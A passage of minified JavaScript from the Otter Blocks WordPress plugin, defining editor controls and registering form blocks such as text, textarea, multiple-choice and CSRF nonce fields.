is-first"})),(0,i.createElement)(ae,{attributes:e,attr:"submitBackgroundColor"},(0,i.createElement)(g.Ed,{label:(0,o.__)("Background","otter-blocks"),colorValue:e.submitBackgroundColor,onColorChange:e=>t({submitBackgroundColor:e}),className:"is-list"})))||"hover"===_&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(ae,{attributes:e,attr:"submitColorHover"},(0,i.createElement)(g.Ed,{label:(0,o.__)("Text","otter-blocks"),colorValue:e.submitColorHover,onColorChange:e=>t({submitColorHover:e}),className:"is-list is-first"})),(0,i.createElement)(ae,{attributes:e,attr:"submitBackgroundColorHover"},(0,i.createElement)(g.Ed,{label:(0,o.__)("Background","otter-blocks"),colorValue:e.submitBackgroundColorHover,onColorChange:e=>t({submitBackgroundColorHover:e}),className:"is-list"}))),(0,i.createElement)("br",null),(0,i.createElement)(ae,{attributes:e,attr:"submitFontSize"},(0,i.createElement)(p.FontSizePicker,{label:(0,o.__)("Font Size","otter-blocks"),fontSizes:Dt,withReset:!0,value:e.submitFontSize,onChange:e=>t({submitFontSize:e})})),(0,i.createElement)(g.n9,{label:(0,o.__)("Screen Type","otter-blocks")},(0,i.createElement)(ae,{attributes:e,attr:E(["buttonPadding","buttonPaddingTablet","buttonPaddingMobile"])},(0,i.createElement)(p.__experimentalBoxControl,{label:(0,o.__)("Padding","otter-blocks"),values:null!==(a=E([e.buttonPadding,e.buttonPaddingTablet,e.buttonPaddingMobile]))&&void 0!==a?a:{top:"10px",bottom:"10px",right:"20px",left:"20px"},onChange:e=>w(e,["buttonPadding","buttonPaddingTablet","buttonPaddingMobile"])}))),(0,i.createElement)(g.n9,{label:(0,o.__)("Alignment","otter-blocks")},(0,i.createElement)(g.Ik,{value:null!==(n=E([e.submitStyle,e.submitStyleTablet,e.submitStyleMobile]))&&void 0!==n?n:"left",onChange:e=>w(""===e?void 0:e,["submitStyle","submitStyleTablet","submitStyleMobile"]),options:[{icon:D.Z,label:(0,o.__)("Left","otter-blocks"),value:"left"},{icon:G.Z,label:(0,o.__)("Center","otter-blocks"),value:"center"},{icon:j.Z,label:(0,o.__)("Right","otter-blocks"),value:"right"},{icon:ee.Z,label:(0,o.__)("Full","otter-blocks"),value:"full"}],hasIcon:!0}))),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Labels","otter-blocks"),initialOpen:!1},(0,i.createElement)(g.r4,{isSynced:e.isSynced,options:[{label:(0,o.__)("Font Size","otter-blocks"),value:"labelFontSize"},{label:(0,o.__)("Spacing","otter-blocks"),value:"inputGap"}],setAttributes:t}),(0,i.createElement)(ae,{attributes:e,attr:"labelFontSize"},(0,i.createElement)(p.FontSizePicker,{label:(0,o.__)("Font Size","otter-blocks"),fontSizes:Dt,withReset:!0,value:e.labelFontSize,onChange:e=>t({labelFontSize:e})})),(0,i.createElement)(ae,{attributes:e,attr:"inputGap"},(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Spacing","otter-blocks"),value:null!==(r=e.inputGap)&&void 0!==r?r:10,onChange:e=>t({inputGap:e}),allowReset:!0,step:.1,min:0,max:50,initialPosition:10}))),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Input Fields","otter-blocks"),initialOpen:!1},(0,i.createElement)(g.r4,{isSynced:e.isSynced,options:[{label:(0,o.__)("Input Font Size","otter-blocks"),value:"inputFontSize"},{label:(0,o.__)("Fields Spacing","otter-blocks"),value:"inputsGap"},{label:(0,o.__)("Input Padding","otter-blocks"),value:"inputPadding"}],setAttributes:t}),(0,i.createElement)(ae,{attributes:e,attr:"inputFontSize"},(0,i.createElement)(p.FontSizePicker,{label:(0,o.__)("Input Font Size","otter-blocks"),fontSizes:Dt,withReset:!0,value:e.inputFontSize,onChange:e=>t({inputFontSize:e})})),(0,i.createElement)(ae,{attributes:e,attr:"inputsGap"},(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Fields Spacing","otter-blocks"),value:null!==(s=e.inputsGap)&&void 0!==s?s:16,onChange:e=>t({inputsGap:e}),allowReset:!0,min:0,max:50,initialPosition:16})),(0,i.createElement)(g.n9,{label:(0,o.__)("Screen Type","otter-blocks")},(0,i.createElement)(ae,{attributes:e,attr:E(["inputPadding","inputPaddingTablet","inputPaddingMobile"])},(0,i.createElement)(p.__experimentalBoxControl,{label:(0,o.__)("Input Padding","otter-blocks"),values:null!==(c=E([e.inputPadding,e.inputPaddingTablet,e.inputPaddingMobile]))&&void 0!==c?c:{top:"8px",right:"8px",bottom:"8px",left:"8px"},inputProps:{min:0,max:500},onChange:e=>w(e,["inputPadding","inputPaddingTablet","inputPaddingMobile"])})))),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Border","otter-blocks"),initialOpen:!1},(0,i.createElement)(g.r4,{isSynced:e.isSynced,options:[{label:(0,o.__)("Border Radius","otter-blocks"),value:"inputBorderRadius"},{label:(0,o.__)("Border Width","otter-blocks"),value:"inputBorderWidth"}],setAttributes:t}),(0,i.createElement)(ae,{attributes:e,attr:"inputBorderRadius"},(0,i.createElement)(p.__experimentalBoxControl,{label:(0,o.__)("Radius","otter-blocks"),values:(0,A.isObjectLike)(e.inputBorderRadius)?e.inputBorderRadius:(0,W.rO)((0,h.Yj)(null!==(d=e.inputBorderRadius)&&void 0!==d?d:4)),onChange:e=>t({inputBorderRadius:e}),id:"o-border-raduis-box"})),(0,i.createElement)(ae,{attributes:e,attr:"inputBorderWidth"},(0,i.createElement)(p.__experimentalBoxControl,{label:(0,o.__)("Width","otter-blocks"),values:(0,A.isObjectLike)(e.inputBorderWidth)?e.inputBorderWidth:(0,W.rO)((0,h.Yj)(null!==(m=e.inputBorderWidth)&&void 0!==m?m:1)),onChange:e=>t({inputBorderWidth:e})}))),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Helper & Submit Messages","otter-blocks"),initialOpen:!1},(0,i.createElement)(g.r4,{isSynced:e.isSynced,options:[{label:(0,o.__)("Helper Text Size","otter-blocks"),value:"helpFontSize"},{label:(0,o.__)("Success/Error Message Size","otter-blocks"),value:"messageFontSize"}],setAttributes:t}),(0,i.createElement)(ae,{attributes:e,attr:"helpFontSize"},(0,i.createElement)(p.BaseControl,{label:(0,o.__)("Helper Text","otter-blocks")},(0,i.createElement)(p.FontSizePicker,{fontSizes:Dt,withReset:!0,value:e.helpFontSize,onChange:e=>t({helpFontSize:e})}))),(0,i.createElement)(ae,{attributes:e,attr:"messageFontSize"},(0,i.createElement)(p.BaseControl,{label:(0,o.__)("Success/Error Message","otter-blocks")},(0,i.createElement)(p.FontSizePicker,{fontSizes:Dt,withReset:!0,value:e.messageFontSize,onChange:e=>t({messageFontSize:e})})))))),(0,i.createElement)(u.InspectorAdvancedControls,null,(0,i.createElement)("span",null,(0,o.__)("In order for the Form to work properly, make sure your SMTP server is set up. The test email will be send to the address from the Email To field in Form Options.","otter-blocks")),(0,i.createElement)(p.ExternalLink,{href:"https://docs.themeisle.com/article/1713-how-to-set-up-your-smtp-server",style:{marginLeft:"3px"}},(0,o.__)("Learn more.","otter-blocks")),(0,i.createElement)("br",null),(0,i.createElement)(p.Button,{variant:"primary",style:{marginTop:"8px"},onClick:M},(0,o.__)("Send Test Email","otter-blocks"))))},Wt=({className:e,loadingState:t,isSaving:l,saveAPIKey:a,siteKey:n,secretKey:r,setSiteKey:s,setSecretKey:c})=>{if("loading"===t?.captcha)return(0,i.createElement)(b.Fragment,null,(0,i.createElement)("br",null),(0,i.createElement)(p.Placeholder,null,(0,i.createElement)("div",null,(0,i.createElement)(p.Spinner,null),(0,o.__)("Checking the API Keys for reCaptcha","otter-blocks"))));const d=r&&0<r?.length-13?Array(r.length-13).fill("*").join("")+r.slice(-13):r;return(0,i.createElement)(p.Placeholder,{icon:"admin-site",label:(0,o.__)("Google reCaptcha","otter-blocks"),instructions:(0,o.__)("A Google reCaptcha V2 API keys are required, please enter one below.","otter-blocks"),className:e},(0,i.createElement)("div",{className:"components-placeholder__actions",style:{width:"100%"}},(0,i.createElement)(p.TextControl,{type:"text",label:(0,o.__)("Site Key","otter-blocks"),value:n,className:"components-placeholder__input",onChange:s}),(0,i.createElement)(p.TextControl,{type:"text",label:(0,o.__)("Secret Key","otter-blocks"),value:d,className:"components-placeholder__input",onChange:c}),(0,i.createElement)(p.Button,{isPrimary:!0,type:"submit",onClick:a,isBusy:l,disabled:""===n||""===r},(0,o.__)("Save","otter-blocks"))),(0,i.createElement)("div",{className:"components-placeholder__learn-more",style:{margin:"10px 0px"}},(0,o.__)("You need to activate reCaptcha API.","otter-blocks")," ",(0,i.createElement)(p.ExternalLink,{href:"http://www.google.com/recaptcha/admin"},(0,o.__)("Need an API key? Get one here.","otter-blocks"))))},$t=l(2377),Ut=l(8510);const{attributes:Zt}=ht,qt=(0,b.createContext)({}),Yt={email:"emailTo",redirectLink:"redirectLink",emailSubject:"subject",submitMessage:"submitMessage",errorMessage:"errorMessage",fromName:"fromName",cc:"cc",bcc:"bcc",autoresponder:"autoresponder",submissionsSaveLocation:"submissionsSaveLocation",webhookId:"webhookId",requiredFields:"requiredFields"};var Kt=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"themeisle-blocks/form-input","title":"Text Field","category":"themeisle-blocks","description":"Display a contact form for your clients.","keywords":["input","text","email"],"ancestor":["themeisle-blocks/form"],"textdomain":"otter-blocks","attributes":{"id":{"type":"string"},"type":{"type":"string","default":"text"},"label":{"type":"string"},"placeholder":{"type":"string"},"isRequired":{"type":"boolean"},"mappedName":{"type":"string"},"labelColor":{"type":"string"},"inputWidth":{"type":"number"},"helpText":{"type":"string"},"defaultValue":{"type":"string","source":"attribute","selector":"input.otter-form-input","attribute":"value"}},"supports":{"align":["wide","full"]}}'),Jt=({attributes:e,setAttributes:t,clientId:l})=>{const{selectForm:a}=(0,b.useContext)(qt);return(0,i.createElement)(b.Fragment,null,(0,i.createElement)(u.InspectorControls,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Field Settings","otter-blocks")},(0,i.createElement)(p.Button,{isSecondary:!0,variant:"secondary",onClick:()=>a?.()},(0,o.__)("Back to the Form","otter-blocks")),(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Field Type","otter-blocks"),value:e.type,options:zt(),onChange:o=>{"textarea"!==o&&"radio"!==o&&"checkbox"!==o&&"select"!==o&&"file"!==o&&"hidden"!==o&&"stripe"!==o?t({type:o}):Ft(o,l,e)}}),(0,i.createElement)(p.TextControl,{label:(0,o.__)("Label","otter-blocks"),value:e.label,onChange:e=>t({label:e})}),(0,i.createElement)(Lt,{attributes:e,setAttributes:t}),(0,i.createElement)(Pt,{attributes:e,setAttributes:t}),("date"!==e.type||void 0===e.type)&&(0,i.createElement)(p.TextControl,{label:(0,o.__)("Placeholder","otter-blocks"),value:e.placeholder,onChange:e=>t({placeholder:e})}),(0,i.createElement)(p.TextControl,{label:(0,o.__)("Help Text","otter-blocks"),value:e.helpText,onChange:e=>t({helpText:e})}),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Required","otter-blocks"),help:(0,o.__)("If enabled, the input field must be filled out before submitting the form.","otter-blocks"),checked:e.isRequired,onChange:e=>t({isRequired:e})}),(0,i.createElement)(p.TextControl,{label:(0,o.__)("Default Value","otter-blocks"),value:e.defaultValue,onChange:e=>t({defaultValue:e})}),(0,i.createElement)(p.TextControl,{label:(0,o.__)("Mapped Name","otter-blocks"),help:Ht,value:e.mappedName,onChange:e=>t({mappedName:e}),placeholder:(0,o.__)("first_name","otter-blocks")})),(0,i.createElement)(u.PanelColorSettings,{title:(0,o.__)("Color","otter-blocks"),initialOpen:!1,colorSettings:[{value:e.labelColor,onChange:e=>t({labelColor:e}),label:(0,o.__)("Label Color","otter-blocks")}]})),(0,i.createElement)(g.pO,{value:e.id,onChange:e=>t({id:e})}))};const{attributes:Xt}=Kt;const Qt=[{attributes:{id:{type:"string"},type:{type:"string",default:"text"},label:{type:"string"},placeholder:{type:"string"},isRequired:{type:"boolean"},mappedName:{type:"string"}},supports:{align:["wide","full"]},save:({attributes:e})=>{const t=u.useBlockProps.save();return(0,i.createElement)("div",{...t},(0,i.createElement)("label",{htmlFor:e.id,className:"otter-form-input-label"},(0,i.createElement)(u.RichText.Content,{value:e.label,className:"otter-form-input-label__label",tagName:"span"}),e.isRequired&&(0,i.createElement)("span",{className:"required"},(0,o.__)("(required)","otter-blocks"))),(0,i.createElement)("input",{type:e.type,name:e.mappedName,id:e.id,required:e.isRequired,placeholder:e.placeholder,className:"otter-form-input"}))}}];var el=Qt;const{name:tl}=Kt;window.themeisleGutenberg.isAncestorTypeAvailable||(Kt.parent=["themeisle-blocks/form"]),(0,a.registerBlockType)(tl,{...Kt,title:(0,o.__)("Text Field","otter-blocks"),description:(0,o.__)("Display a contact form for your clients.","otter-blocks"),icon:r.formFieldIcon,deprecated:el,keywords:["input","text","email"],variations:[{name:"themeisle-blocks/form-input-email",description:(0,o.__)("Insert an email field","otter-blocks"),icon:r.formFieldIcon,title:(0,o.__)("Email Field","otter-blocks"),attributes:{type:"email"}},{name:"themeisle-blocks/form-input-date",description:(0,o.__)("Insert a date field","otter-blocks"),icon:r.formFieldIcon,title:(0,o.__)("Date Field","otter-blocks"),attributes:{type:"date"}},{name:"themeisle-blocks/form-input-number",description:(0,o.__)("Insert a number field","otter-blocks"),icon:r.formFieldIcon,title:(0,o.__)("Number Field","otter-blocks"),attributes:{type:"number"}},{name:"themeisle-blocks/form-input-url",description:(0,o.__)("Insert an URL field","otter-blocks"),icon:r.formFieldIcon,title:(0,o.__)("URL Field","otter-blocks"),attributes:{type:"url",placeholder:"https://"}}],edit:({attributes:e,setAttributes:t,clientId:l})=>{(0,b.useEffect)((()=>{const t=(0,y.blockInit)(l,Xt);return()=>t(e.id)}),[e.id]);const a=(0,u.useBlockProps)();return(0,i.createElement)(b.Fragment,null,(0,i.createElement)(Jt,{attributes:e,setAttributes:t,clientId:l}),(0,i.createElement)("div",{...a},(0,i.createElement)("style",null,`#block-${l}`+(0,h.iC)([["--label-color",e.labelColor]])),(0,i.createElement)("label",{htmlFor:e.id,className:"otter-form-input-label"},(0,i.createElement)(u.RichText,{placeholder:(0,o.__)("Type here…","otter-blocks"),className:"otter-form-input-label__label",value:e.label,onChange:e=>t({label:e}),tagName:"span"}),e.isRequired&&(0,i.createElement)("span",{className:"required"},"*")),(0,i.createElement)("input",{type:e.type,placeholder:e.placeholder,name:e.id,id:e.id,required:e.isRequired,disabled:!0,className:"otter-form-input components-text-control__input",value:e?.defaultValue}),e.helpText&&(0,i.createElement)("span",{className:"o-form-help"},e.helpText)))},save:({attributes:e})=>{const t=u.useBlockProps.save({id:e.id});return(0,i.createElement)("div",{...t},(0,i.createElement)("label",{htmlFor:e.id?e.id+"-input":"",className:"otter-form-input-label"},(0,i.createElement)(u.RichText.Content,{value:e.label,className:"otter-form-input-label__label",tagName:"span"}),e.isRequired&&(0,i.createElement)("span",{className:"required"},"*")),(0,i.createElement)("input",{type:e.type,name:e.mappedName,id:e.id?e.id+"-input":"",required:e.isRequired,placeholder:e.placeholder,className:"otter-form-input",value:e?.defaultValue}),e.helpText&&(0,i.createElement)("span",{className:"o-form-help"},e.helpText))},transforms:{to:[{type:"block",blocks:["themeisle-blocks/form-textarea"],transform:e=>{const t=(0,A.omit)(e,["type"]);return(0,a.createBlock)("themeisle-blocks/form-textarea",{...t})}},{type:"block",blocks:["themeisle-blocks/form-multiple-choice"],transform:e=>{const t=(0,A.omit)(e,["type"]);return(0,a.createBlock)("themeisle-blocks/form-multiple-choice",{...t})}},{type:"block",blocks:["themeisle-blocks/form-file"],transform:e=>{const t=(0,A.omit)(e,["type"]);return(0,a.createBlock)("themeisle-blocks/form-file",{...t})}},{type:"block",blocks:["themeisle-blocks/form-hidden-field"],transform:e=>{const t=(0,A.omit)(e,["type"]);return(0,a.createBlock)("themeisle-blocks/form-hidden-field",{...t})}},{type:"block",blocks:["themeisle-blocks/form-stripe-field"],transform:e=>{const t=(0,A.omit)(e,["type"]);return(0,a.createBlock)("themeisle-blocks/form-stripe-field",{...t})}}]}});var ll=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"themeisle-blocks/form-nonce","title":"CSRF Protection","category":"themeisle-blocks","description":"Protect the form from CSRF.","keywords":["protection","csrf","field"],"textdomain":"otter-blocks","ancestor":["themeisle-blocks/form"],"attributes":{"formId":{"type":"string"}},"supports":{"align":["wide","full"],"inserter":false}}');const{name:ol}=ll;(0,a.registerBlockType)(ol,{...ll,title:(0,o.__)("Nonce Field","otter-blocks"),description:(0,o.__)("Protect the form from CSRF.","otter-blocks"),icon:r.formFieldIcon,keywords:["protection","csrf","field"],edit:({setAttributes:e,clientId:t})=>{const{parent:l}=(0,m.useSelect)((e=>{const{getBlock:l,getBlockRootClientId:o}=e("core/block-editor");return{parent:l(o(t))}}),[]);return(0,b.useEffect)((()=>{l&&e({formId:l.attributes.id})}),[l]),null},save:()=>null});var al=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"themeisle-blocks/form-textarea","title":"Textarea Field","category":"themeisle-blocks","description":"Display a contact form for your clients.","keywords":["textarea","message","input"],"ancestor":["themeisle-blocks/form"],"textdomain":"otter-blocks","attributes":{"id":{"type":"string"},"label":{"type":"string"},"placeholder":{"type":"string"},"isRequired":{"type":"boolean"},"mappedName":{"type":"string"},"labelColor":{"type":"string"},"inputWidth":{"type":"number"},"helpText":{"type":"string"},"defaultValue":{"type":"string","source":"text","selector":"textarea.otter-form-textarea-input"}},"supports":{"align":["wide","full"]}}'),nl=({attributes:e,setAttributes:t,clientId:l})=>{const{selectForm:a}=(0,b.useContext)(qt);return(0,i.createElement)(b.Fragment,null,(0,i.createElement)(u.InspectorControls,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Field Settings","otter-blocks")},(0,i.createElement)(p.Button,{isSecondary:!0,variant:"secondary",onClick:()=>a?.()},(0,o.__)("Back to the Form","otter-blocks")),(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Field Type","otter-blocks"),value:"textarea",options:zt(),onChange:t=>{"textarea"!==t&&Ft(t,l,e)}}),(0,i.createElement)(p.TextControl,{label:(0,o.__)("Label","otter-blocks"),value:e.label,onChange:e=>t({label:e})}),(0,i.createElement)(Lt,{attributes:e,setAttributes:t}),(0,i.createElement)(Pt,{attributes:e,setAttributes:t}),(0,i.createElement)(p.TextControl,{label:(0,o.__)("Placeholder","otter-blocks"),value:e.placeholder,onChange:e=>t({placeholder:e})}),(0,i.createElement)(p.TextControl,{label:(0,o.__)("Help Text","otter-blocks"),value:e.helpText,onChange:e=>t({helpText:e})}),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Required","otter-blocks"),help:(0,o.__)("If enabled, the input field must be filled out before submitting the form.","otter-blocks"),checked:e.isRequired,onChange:e=>t({isRequired:e})}),(0,i.createElement)(p.TextareaControl,{label:(0,o.__)("Default Value","otter-blocks"),value:e.defaultValue,onChange:e=>t({defaultValue:e})}),(0,i.createElement)(p.TextControl,{label:(0,o.__)("Mapped Name","otter-blocks"),help:Ht,value:e.mappedName,onChange:e=>t({mappedName:e}),placeholder:(0,o.__)("message","otter-blocks")}))),(0,i.createElement)(g.pO,{value:e.id,onChange:e=>t({id:e})}))};const{attributes:rl}=al;const il=[{attributes:{id:{type:"string"},type:{type:"string",default:"text"},label:{type:"string"},placeholder:{type:"string"},isRequired:{type:"boolean"},mappedName:{type:"string"}},supports:{align:["wide","full"]},save:({attributes:e})=>{const t=u.useBlockProps.save();return(0,i.createElement)("div",{...t},(0,i.createElement)("label",{htmlFor:e.id,className:"otter-form-textarea-label"},(0,i.createElement)(u.RichText.Content,{value:e.label,className:"otter-form-textarea-label__label",tagName:"span"}),e.isRequired&&(0,i.createElement)("span",{className:"required"},(0,o.__)("(required)","otter-blocks"))),(0,i.createElement)("textarea",{name:e.mappedName,id:e.id,required:e.isRequired,placeholder:e.placeholder,rows:10,className:"otter-form-textarea-input"}))}}];var sl=il;const{name:cl}=al;window.themeisleGutenberg.isAncestorTypeAvailable||(al.parent=["themeisle-blocks/form"]),(0,a.registerBlockType)(cl,{...al,title:(0,o.__)("Textarea Field","otter-blocks"),description:(0,o.__)("Display a contact form for your clients.","otter-blocks"),icon:r.formFieldIcon,deprecated:sl,keywords:["textarea","message","input"],edit:({attributes:e,setAttributes:t,clientId:l})=>{(0,b.useEffect)((()=>{const t=(0,y.blockInit)(l,rl);return()=>t(e.id)}),[e.id]);const a=(0,u.useBlockProps)();return(0,i.createElement)(b.Fragment,null,(0,i.createElement)(nl,{attributes:e,setAttributes:t,clientId:l}),(0,i.createElement)("div",{...a},(0,i.createElement)("style",null,`#block-${l}`+(0,h.iC)([["--label-color",e.labelColor]])),(0,i.createElement)("label",{htmlFor:e.id?e.id+"-input":"",className:"otter-form-textarea-label"},(0,i.createElement)(u.RichText,{placeholder:(0,o.__)("Type here…","otter-blocks"),className:"otter-form-textarea-label__label",value:e.label,onChange:e=>t({label:e}),tagName:"span"}),e.isRequired&&(0,i.createElement)("span",{className:"required"},"*")),(0,i.createElement)("textarea",{placeholder:e.placeholder,name:e.id,id:e.id?e.id+"-input":"",required:e.isRequired,rows:10,className:"otter-form-textarea-input components-textarea-control__input",onChange:e=>{t({defaultValue:e.target.value})},value:e.defaultValue}),e.helpText&&(0,i.createElement)("span",{className:"o-form-help"},e.helpText)))},save:({attributes:e})=>{const t=u.useBlockProps.save({id:e.id});return(0,i.createElement)("div",{...t},(0,i.createElement)("label",{htmlFor:e.id?e.id+"-input":"",className:"otter-form-textarea-label"},(0,i.createElement)(u.RichText.Content,{value:e.label,className:"otter-form-textarea-label__label",tagName:"span"}),e.isRequired&&(0,i.createElement)("span",{className:"required"},"*")),(0,i.createElement)("textarea",{name:e.mappedName,id:e.id?e.id+"-input":"",required:e.isRequired,placeholder:e.placeholder,rows:10,className:"otter-form-textarea-input"},e.defaultValue),e.helpText&&(0,i.createElement)("span",{className:"o-form-help"},e.helpText))},transforms:{to:[{type:"block",blocks:["themeisle-blocks/form-input"],transform:e=>(0,a.createBlock)("themeisle-blocks/form-input",{...e})},{type:"block",blocks:["themeisle-blocks/form-multiple-choice"],transform:e=>(0,a.createBlock)("themeisle-blocks/form-multiple-choice",{...e})},{type:"block",blocks:["themeisle-blocks/form-file"],transform:e=>{const t=(0,A.omit)(e,["type"]);return(0,a.createBlock)("themeisle-blocks/form-file",{...t})}},{type:"block",blocks:["themeisle-blocks/form-hidden-field"],transform:e=>{const t=(0,A.omit)(e,["type"]);return(0,a.createBlock)("themeisle-blocks/form-hidden-field",{...t})}},{type:"block",blocks:["themeisle-blocks/form-stripe-field"],transform:e=>{const t=(0,A.omit)(e,["type"]);return(0,a.createBlock)("themeisle-blocks/form-stripe-field",{...t})}}]}});var dl=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"themeisle-blocks/form-multiple-choice","title":"Form Multiple Choice Input","category":"themeisle-blocks","description":"Display a checkbox, select, radio.","keywords":["form","checkbox","select","radio","multiple"],"textdomain":"otter-blocks","ancestor":["themeisle-blocks/form"],"attributes":{"id":{"type":"string"},"type":{"type":"string","default":"checkbox"},"label":{"type":"string"},"placeholder":{"type":"string"},"isRequired":{"type":"boolean"},"mappedName":{"type":"string"},"labelColor":{"type":"string"},"inputWidth":{"type":"object"},"helpText":{"type":"string"},"options":{"type":["string","array"]},"multipleSelection":{"type":"boolean"}},"supports":{"align":["wide","full"]}}'),ul=l(454),bl=l.n(ul);const ml=[{label:(0,o.__)("Inline List","otter-blocks"),value:"inline-list"}];var pl=({attributes:e,setAttributes:t,clientId:l})=>{var a;const{selectForm:n}=(0,b.useContext)(qt),r=null!==(a=(0,A.isString)(e.options)?e.options?.split("\n")?.map((e=>({isDefault:!1,content:e}))):e.options)&&void 0!==a?a:[],s=(0,A.debounce)(t,800),c=(0,St.JN)((l=>(0,i.createElement)("div",null,l.options?.map(((l,o)=>(0,i.createElement)(At,{key:l?.content,index:o,tab:l,setAsDefault:()=>{const l=r.map(((t,l)=>{let a={...t};return"select"!==e.type&&"radio"!==e.type||l===o||(a.isDefault=!1),l===o&&(a.isDefault=!Boolean(t.isDefault)),a}));t({options:l})},deleteTab:()=>{const e=[...r];e.splice(o,1),t({options:e})},onLabelChange:e=>{const t=[...r];t[o]={...t[o],content:e},s({options:t})},useRadio:"select"===e.type||"radio"===e.type}))))));return(0,i.createElement)(b.Fragment,null,(0,i.createElement)(u.InspectorControls,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Field Settings","otter-blocks")},(0,i.createElement)(p.Button,{isSecondary:!0,variant:"secondary",onClick:()=>n?.()},(0,o.__)("Back to the Form","otter-blocks")),(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Field Type","otter-blocks"),value:e.type,options:zt(),onChange:o=>{if("radio"!==o&&"checkbox"!==o&&"select"!==o)Ft(o,l,e);else if("checkbox"===e.type){const e=r?.map((e=>({...e,isDefault:!1})));t({type:o,options:e})}else t({type:o})}}),(0,i.createElement)(p.TextControl,{label:(0,o.__)("Label","otter-blocks"),value:e.label,onChange:e=>t({label:e})}),(0,i.createElement)(Lt,{attributes:e,setAttributes:t}),(0,i.createElement)(p.BaseControl,{id:"otter-form-multiple-choice-options",label:(0,o.__)("Options","otter-blocks")},(0,i.createElement)(c,{options:r,useDragHandle:!0,axis:"y",lockAxis:"y",onSortEnd:({oldIndex:e,newIndex:l})=>{let o=[...r];o=bl()(o,e,l),t({options:o})}}),(0,i.createElement)(p.Button,{isSecondary:!0,className:"wp-block-themeisle-blocks-tabs-inspector-add-tab",onClick:()=>{const e=[...r];e.push({isDefault:!1,content:""}),t({options:e}),setTimeout((()=>{document.querySelector(".wp-block-themeisle-blocks-tabs-inspector-tab-option:last-child .wp-block-themeisle-blocks-tabs-inspector-tab-option__name")?.focus()}),300)}},(0,o.__)("Add Option","otter-blocks"))),(0,i.createElement)(p.TextControl,{label:(0,o.__)("Help Text","otter-blocks"),value:e.helpText,onChange:e=>t({helpText:e})}),"select"!==e?.type&&(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Inline list","otter-blocks"),checked:Boolean((0,h.tB)(ml,e.className)),onChange:l=>{const o=(0,h.L4)(e.className,ml,l?"inline-list":void 0);t({className:o})}}),"select"===e?.type&&(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Multiple selection","otter-blocks"),checked:e.multipleSelection,onChange:e=>t({multipleSelection:e})}),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Required","otter-blocks"),help:(0,o.__)("If enabled, the input field must be filled out before submitting the form.","otter-blocks"),checked:e.isRequired,onChange:e=>t({isRequired:e})}),(0,i.createElement)(p.TextControl,{label:(0,o.__)("Mapped Name","otter-blocks"),help:Ht,value:e.mappedName,onChange:e=>t({mappedName:e}),placeholder:(0,o.__)("car_type","otter-blocks")})),(0,i.createElement)(u.PanelColorSettings,{title:(0,o.__)("Color","otter-blocks"),initialOpen:!1,colorSettings:[{value:e.labelColor,onChange:()=>{},label:(0,o.__)("Label Color","otter-blocks")}]})),(0,i.createElement)(g.pO,{value:e.id,onChange:e=>t({id:e})}))};const{attributes:gl}=dl,hl=({fieldType:e,label:t,position:l,attributes:a,checked:n,onChange:r})=>{var s;const c=`${null!==(s=a.id)&&void 0!==s?s:""}-field-${l}`,d=t?.toLowerCase().replace(/ /g,"_");return(0,i.createElement)("div",{className:"o-form-multiple-choice-field"},(0,i.createElement)(p.Disabled,null,(0,i.createElement)("input",{type:e,id:c,name:a.mappedName,value:d,checked:n})),(0,i.createElement)("label",{for:c},(0,i.createElement)(u.RichText,{placeholder:(0,o.__)("Type here…","otter-blocks"),className:"o-form-choice-label",value:t,onChange:r,tagName:"div"})))},kl=({attributes:e,options:t})=>(0,i.createElement)("select",{name:e.mappedName,id:e?.id,multiple:e.multipleSelection},t?.map(((e,t)=>{const l=e?.content?.toLowerCase().replace(/ /g,"_");return(0,i.createElement)("option",{key:t,value:l,selected:e.isDefault}," ",e.content)})));const{name:yl}=dl;window.themeisleGutenberg.isAncestorTypeAvailable||(dl.parent=["themeisle-blocks/form"]),(0,a.registerBlockType)(yl,{...dl,title:(0,o.__)("Multiple Choice Field","otter-blocks"),description:(0,o.__)("Display a checkbox or radio list.","otter-blocks"),icon:r.formFieldIcon,variations:[{name:"themeisle-blocks/form-input-checkbox",description:(0,o.__)("Insert a checkbox list field","otter-blocks"),icon:r.formFieldIcon,title:(0,o.__)("Checkbox Field","otter-blocks"),attributes:{type:"checkbox"}},{name:"themeisle-blocks/form-input-radio",description:(0,o.__)("Insert a radio list field","otter-blocks"),icon:r.formFieldIcon,title:(0,o.__)("Radio Field","otter-blocks"),attributes:{type:"radio"}},{name:"themeisle-blocks/form-input-select",description:(0,o.__)("Insert a select field","otter-blocks"),icon:r.formFieldIcon,title:(0,o.__)("Select Field","otter-blocks"),attributes:{type:"select"}}],edit:({attributes:e,setAttributes:t,clientId:l})=>{var a;(0,b.useEffect)((()=>{const t=(0,y.blockInit)(l,gl);return()=>t(e.id)}),[e.id]);const n=(0,u.useBlockProps)(),r=null!==(a=(0,A.isString)(e.options)?e.options?.split("\n")?.map((e=>({isDefault:!1,content:e}))):e.options)&&void 0!==a?a:[];return(0,i.createElement)(b.Fragment,null,(0,i.createElement)(pl,{attributes:e,setAttributes:t,clientId:l}),(0,i.createElement)("div",{...n},(0,i.createElement)("style",null,`#block-${l}`+(0,h.iC)([["--label-color",e.labelColor]])),(0,i.createElement)("label",{className:"otter-form-input-label"},(0,i.createElement)(u.RichText,{placeholder:(0,o.__)("Type 